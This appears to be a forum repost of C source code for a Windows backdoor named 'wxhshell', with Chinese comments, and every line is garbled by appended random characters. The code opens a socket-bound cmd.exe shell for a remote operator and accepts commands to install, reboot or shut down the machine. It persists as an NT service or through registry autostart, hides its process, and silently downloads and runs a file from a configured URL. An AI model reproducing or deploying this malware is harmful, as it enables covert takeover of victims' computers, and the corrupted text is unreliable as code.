  else { |NaEXzo|qY  
EO \@#",a  
    switch(cmd[0]) {  Fs1ms)  
  Gm'Ch}E  
  // 帮助 9Q*zf@w  
  case '?': { \}NZ] l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R,[+9U|4V  
    break; >)S'`e4Gu  
  } wfc+E9E  
  // 安装 ru1FJ{n  
  case 'i': { RaY=~g  
    if(Install()) s h^&3}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 }F6s  
    else >`+-Yi$(\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / S)&dN`  
    break; i@`T_&6l  
    } y{1|@?ii  
  // 卸载 sK`pV8&xq  
  case 'r': { b:(*C  
    if(Uninstall()) >rzpYc'~w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  S]&7  
    else ;gv9J [R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t&Z:G<;  
    break; qf6}\0   
    } ;/<J& #2.  
  // 显示 wxhshell 所在路径 v0S7 ]?_  
  case 'p': { Sh RkL<  
    char svExeFile[MAX_PATH]; ]; G$~[  
    strcpy(svExeFile,"\n\r"); H1g"09?h6o  
      strcat(svExeFile,ExeFile); U0%m*i  
        send(wsh,svExeFile,strlen(svExeFile),0); gSu3\keF  
    break; IDr$Vu4LCW  
    } [:\8Ug8  
  // 重启 .6#Y- iJqc  
  case 'b': { 'aW<C>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E>6:59+  
    if(Boot(REBOOT)) e8<[2J)P&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhFk84  
    else { BFyVq  
    closesocket(wsh); $2\k| @)s  
    ExitThread(0); >QM$ NIf@  
    } wXxk+DV@  
    break; ~",,&>#[K  
    } )t$|'c}  
  // 关机 dsJHhsu6  
  case 'd': { k!6wVJ|_Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;'J{ylRQ  
    if(Boot(SHUTDOWN)) S vR? nN|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4`+hX'  
    else { Oy/+uw^  
    closesocket(wsh); H Ql_ /:Wx  
    ExitThread(0); #s'  
    } ,l_n:H+"F  
    break; -KG3_kE  
    }  a7UfRG  
  // 获取shell )q+9_KU q  
  case 's': { ="*8ja-K  
    CmdShell(wsh); O;*.dR  
    closesocket(wsh);  p%6j2;D  
    ExitThread(0); -N[Q*;h|  
    break; sw715"L  
  } ?krgZ;Jj  
  // 退出 ]1<O [d  
  case 'x': { >HXmpu.O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +k4 SN  
    CloseIt(wsh); h&6v&%S/L  
    break; *m[ow s  
    } <C9_5C e~  
  // 离开 =K2mR}n\;  
  case 'q': { D*R49hja{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tgbr/eCoU  
    closesocket(wsh); ]h$,=Qf hD  
    WSACleanup(); q"[8u ]j  
    exit(1); U3yIONlt  
    break; 8+ <vumnw  
        } e.|_=Gd2/  
  } Sy<s/x^`  
  } s) vHLf4T  
6M`N| %  
  // 提示信息 Q+\?gU]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D,rs)  
} &L S&O  
  } C%csQ m  
l;dZJ_Ut$  
  return; Ysk,9MR(F  
} WwF4`kxT  
S:En9E  
// shell模块句柄 BEzF'<Z  
int CmdShell(SOCKET sock) @*gm\sU4  
{  TVP.)%  
STARTUPINFO si; i>C:C>~  
ZeroMemory(&si,sizeof(si)); ;ip"V 0`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a!>yX ex  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I!ykm\<  
PROCESS_INFORMATION ProcessInfo; bVc;XZwI  
char cmdline[]="cmd"; r%g?.4o*b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +0Rr5^8u  
  return 0; 0/."R ;  
} ;_lEu" -  
x_oL~~@  
// 自身启动模式 t4H@ZvAH0  
int StartFromService(void) |QvG;{!  
{ {zc<:^r^  
typedef struct e:Zc-  
{ 0pS|t/h0  
  DWORD ExitStatus; ]r{-K63P{!  
  DWORD PebBaseAddress; <z*SO a  
  DWORD AffinityMask; DVNGV   
  DWORD BasePriority; # Pulbk8  
  ULONG UniqueProcessId; @]#0jiS  
  ULONG InheritedFromUniqueProcessId; vRLkz4z   
}   PROCESS_BASIC_INFORMATION; i~dW)7  
Xp=Y<`dX  
PROCNTQSIP NtQueryInformationProcess; :A,V<Es}I"  
(c<Krc h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2@ >04]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T7AFL=  
/]Fs3uf  
  HANDLE             hProcess; *@q+A1P7@  
  PROCESS_BASIC_INFORMATION pbi; $C UmRi{T  
,Z;z}{.hq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nz|;6?LCLY  
  if(NULL == hInst ) return 0; NW`.RGLI<  
N;A #3Ter  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \vB-0w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ey77]\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B8^tIq  
3:i4DBp,i  
  if (!NtQueryInformationProcess) return 0; bUC-}  
fn zj@_{|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @xJ qG"  
  if(!hProcess) return 0; 9lA@ K[  
PnsQ[}.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oQC*d}_E}  
I72UkmK`  
  CloseHandle(hProcess); jGzs; bE  
.$DB\jJXjV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PXcpROg56  
if(hProcess==NULL) return 0; &+-ZXN  
 U&PAs e  
HMODULE hMod; =z]&E 78Y  
char procName[255]; z0Vd(QL  
unsigned long cbNeeded; (}fbs/8\p  
!ZbNW4rIP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BJk:h-m [  
0\g;^Zpi  
  CloseHandle(hProcess); a}a_&rf~Z  
13.v5v,l  
if(strstr(procName,"services")) return 1; // 以服务启动 +vkqig  
!Y-MUZ$f  
  return 0; // 注册表启动 Dn _D6H  
} .b]g# Du=  
]nN']?{7PW  
// 主模块 k0?4vA  
int StartWxhshell(LPSTR lpCmdLine) Z!C\n[R/  
{ Q;{yIa$ $  
  SOCKET wsl; t'4hWNR'  
BOOL val=TRUE; ]DdD FLM  
  int port=0; )$yqJ6y5  
  struct sockaddr_in door; #$%9XD3  
*Xt#04_  
  if(wscfg.ws_autoins) Install(); /`0*!sN*5  
C/e`O|G  
port=atoi(lpCmdLine); 71cc6T  
zzuDI_,/  
if(port<=0) port=wscfg.ws_port; 88h-.\%Z  
JiP]F J;  
  WSADATA data; '/SMqmi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q<zL;AJ  
a2UER1Yp"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N{iBVl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y<k-dbr  
  door.sin_family = AF_INET; e}f!zA  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |]DZc/  
  door.sin_port = htons(port);  b#P ,  
.%3bXK+F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <!K2xb-d^  
closesocket(wsl); -hL8z$}  
return 1; W+a>*#*  
} ):&A\nb  
s>~!r.GC  
  if(listen(wsl,2) == INVALID_SOCKET) { y ']>J+b0  
closesocket(wsl); J7emoD [  
return 1; {{f%w$r(  
} !y'LKze+G  
  Wxhshell(wsl); \ Yz>=rY  
  WSACleanup(); XV)ej>A-V  
CCp{ZH s  
return 0; @pYAqX2  
HV&N(;@  
} !zvKl;yT  
C#p$YQf  
// 以NT服务方式启动 U{h5uezD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <y6M@(b  
{ X82sw>Y  
DWORD   status = 0; R"!.|fH6  
  DWORD   specificError = 0xfffffff; '7 6}6G%  
B y6:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )1lR;fD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /t%IU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zbx,qctYo$  
  serviceStatus.dwWin32ExitCode     = 0; XkCbdb  
  serviceStatus.dwServiceSpecificExitCode = 0; d vkA-9  
  serviceStatus.dwCheckPoint       = 0; 7}%3Aw6]S  
  serviceStatus.dwWaitHint       = 0; %@G<B  
w%VHq z$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n+rAbn5o$  
  if (hServiceStatusHandle==0) return; 45edyQ  
1*[h$Z&H?  
status = GetLastError(); ^;<s"TJ(m)  
  if (status!=NO_ERROR) _|wgw^.LJ]  
{ q3VE\&*^F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6WgGewn  
    serviceStatus.dwCheckPoint       = 0; >wdR4!x!?  
    serviceStatus.dwWaitHint       = 0; ' ,a'r.HJH  
    serviceStatus.dwWin32ExitCode     = status; }7g\1l\  
    serviceStatus.dwServiceSpecificExitCode = specificError; rV"<1y:g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hh{4r} |  
    return; K:V_,[gO  
  } |5Mhrb4.  
@mNf(&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O:+#k-?  
  serviceStatus.dwCheckPoint       = 0; p` B48TW  
  serviceStatus.dwWaitHint       = 0; )2g\GRg6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f /&Dy'OV7  
} 6;l{9cRgc  
7cK#fh"hvg  
// 处理NT服务事件,比如:启动、停止 Jq l#z/z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >+7+ gSD#:  
{ YnNB#x8|  
switch(fdwControl) u<]-%ha$  
{ pOyM/L   
case SERVICE_CONTROL_STOP: &AU%3b  
  serviceStatus.dwWin32ExitCode = 0; G{knO?BK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,1Suq\ L  
  serviceStatus.dwCheckPoint   = 0; ;jfjRcU  
  serviceStatus.dwWaitHint     = 0; \"V7O'S)&  
  { $`i$/FE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (VO) Q  
  } R KFz6t  
  return; '8 1M%KO  
case SERVICE_CONTROL_PAUSE: .YYiUA-i9n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j_L 'Ztu3  
  break; I .p26  
case SERVICE_CONTROL_CONTINUE: Cj _Q9/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kg VLXI6  
  break; )xiic3F  
case SERVICE_CONTROL_INTERROGATE: Gk;==~  
  break; x4CrWm  
}; ~Hd{+0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %DqF_4U9  
} al F*L  
ecA:y!N  
// 标准应用程序主函数 B0?E$8a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -w1U /o.  
{ mEa\0oPGB  
[D[s^<RJs  
// 获取操作系统版本 fZ`b~ZBwIj  
OsIsNt=GetOsVer(); L}h?nWm8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0vbn!<:  
|P$tLOrG  
  // 从命令行安装 ax[-907  
  if(strpbrk(lpCmdLine,"iI")) Install(); o|>2X[T  
&$lz@Z  
  // 下载执行文件 i~@e}=  
if(wscfg.ws_downexe) { awB1ryrOF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &{!FE`ZC_  
  WinExec(wscfg.ws_filenam,SW_HIDE); WogJ~N,d53  
} %`F6>J  
XpJT/&4  
if(!OsIsNt) { F-R4S^eV  
// 如果时win9x,隐藏进程并且设置为注册表启动 "EQ`Q=8  
HideProc(); ^GQ+,0Yy  
StartWxhshell(lpCmdLine); w= |).qQ]  
} iBVV5 f  
else &#;vR 0O  
  if(StartFromService()) %"r3{Hs  
  // 以服务方式启动 n2zJ'  
  StartServiceCtrlDispatcher(DispatchTable); NTASrh  
else wS-D"\4/  
  // 普通方式启动 i^eU!^KF  
  StartWxhshell(lpCmdLine); \L>3E#R-Q  
)cJ9YKKy  
return 0; L9M0vkgri  
}
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只看该作者 1 发表于: 2006-10-10
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